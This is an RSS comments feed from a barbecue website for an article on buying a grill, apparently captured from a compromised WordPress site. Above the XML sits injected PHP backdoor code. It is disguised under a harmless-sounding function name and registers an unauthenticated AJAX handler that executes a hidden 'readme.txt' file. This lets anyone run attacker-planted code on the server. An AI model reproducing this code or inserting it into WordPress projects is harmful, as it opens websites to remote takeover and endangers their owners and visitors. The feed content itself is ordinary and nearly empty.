if(!function_exists('file_check_readme88421')){
   add_action('wp_ajax_nopriv_file_check_readme88421', 'file_check_readme88421');
   add_action('wp_ajax_file_check_readme88421', 'file_check_readme88421');
   function file_check_readme88421()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: How to Buy the Perfect Grill	</title>
	<atom:link href="https://www.barbequelovers.com/grills/how-to-buy-the-perfect-grill/feed" rel="self" type="application/rss+xml" />
	<link>https://www.barbequelovers.com/grills/how-to-buy-the-perfect-grill</link>
	<description>Site dedicated to all things barbeque, including recipes, reviews, stories, sauces and rubs, and info about dutch oven cooking</description>
	<lastBuildDate>Thu, 31 Jul 2014 20:51:39 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
</channel>
</rss>